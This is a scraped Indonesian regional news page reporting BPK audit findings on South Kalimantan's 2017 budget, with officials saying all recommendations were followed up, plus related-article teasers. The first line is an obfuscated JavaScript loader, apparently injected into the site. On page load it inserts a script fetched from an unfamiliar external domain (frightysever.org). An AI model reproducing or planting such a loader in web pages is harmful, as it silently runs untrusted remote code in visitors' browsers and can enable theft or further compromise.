(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Badan Pemeriksa Keuangan Perwakilan (BPKP) Kalsel membuat sebuah rekomendasi hasil dari pemeriksaan atas beberapa laporan pertanggungjawaban anggaran pendapatan dan belanja daerah (APBD) Kalsel 2017. Inspektur Kalsel Awi Sundari mengatakan, hasil beberapa temuan BPK dari empat sektor dengan 37 rekomendasi dan bisa ditindak lanjuti dari Satuan Kerja Perangkat Daerah ditemukan di beberapa dinas. Antara lain Dinas Kesehatan, Dinas Pendidikan, RSUD Ulin Banjarmasin, dan Dinas Pekerjaan Umum
Menurut Alwi, beberapa temuan tersebut berada pada bidang belanja modalnya namun hal tersebut menurutnya sudah disempurnakan.
“Temuan tersebut banyak dibelanja modal, namun sudah disempurnakan,†ungkapnya.
Semua temuan dan rekomendasi tersebut telah ditindaklanjuti oleh SKPD terkait yang menjadi objek temuan. Rekomendasi yang diberikan oleh BPK, antara lain diminta melakukan review untuk meyakini hasil temuan karena sudah ditindaklanjuti. “Semua sudah clear dan dibuktikan rekon antara kami dengan BPK dari tanggal 4–8 Juni 2018,†terangnya.
Tindak lanjut dibuktikan dengan berita acara yang sudah ditandatangani. Semua temuan serta rekomendasi sudah ditindaklanjuti oleh SKPD terkait yang jadi objek temuan, rekomendasi antara lain diminta melakukan review untuk meyakini hasil temuan.
Nah, karena sudah ditindaklanjuti semua maka sudah clear dan dibuktikan. “Rekon antara kami pada tanggal 4 sampai 8 Juni 2018 berita acara sudah ditandatangani,’’ katanya.
Sementara itu, anggota DPD RI Perwakilan Kalsel, Antung Fatmawati menambahkan, meski ada temuan tapi BPK memberikan waktu untuk melakukan perbaikan. “Pemda di Kalsel sudah luar biasa. Hampir 100 persen mendapatkan opini wajar tanpa pengecualian (WTP). Kita nomor tiga se Indonesia,’’ ujarnya.
Di tempat yang sama, anggota rombongan DPDN, Ovita Anakotta menambahkan maksud kedatangan pihaknya hanya melakukan pengawasan sebagai mitra kerja pemerintah. Anggota DPD Perwakilan Maluku ini menegaskan, pihaknya tidak melakukan audit investigasi. “Fokus kami kepada pegembalian temuan kerugian negara, kalaupun ada kendala pengembalian laporkan ke kami untuk mencari solusi,’’ singkatnya.(ammar)
KANALKALIMANTAN.COM, BANJARBARU - Tahun ini, Generasi Happy mengusung format online-offline-online untuk memberikan pengalaman yang menyeluruh… Read More
KANALKALIMANTAN.COM, BANJARBARU - Indosat Ooredoo Hutchison (Indosat atau IOH) melalui brand Tri melanjutkan rangkaian program… Read More
KANALKALIMANTAN.COM, SURABAYA - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, JAKARTA - Pemerintah memberlakukan tambahan pajak baru untuk kendaraan bermotor mulai 5 Januari 2025.… Read More
KANALKALIMANTAN.COM, BANJARMASIN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Memasuki pengujung 2024 ini merupakan pengujung masa jabatan pula bagi pasangan Bupati… Read More
This website uses cookies.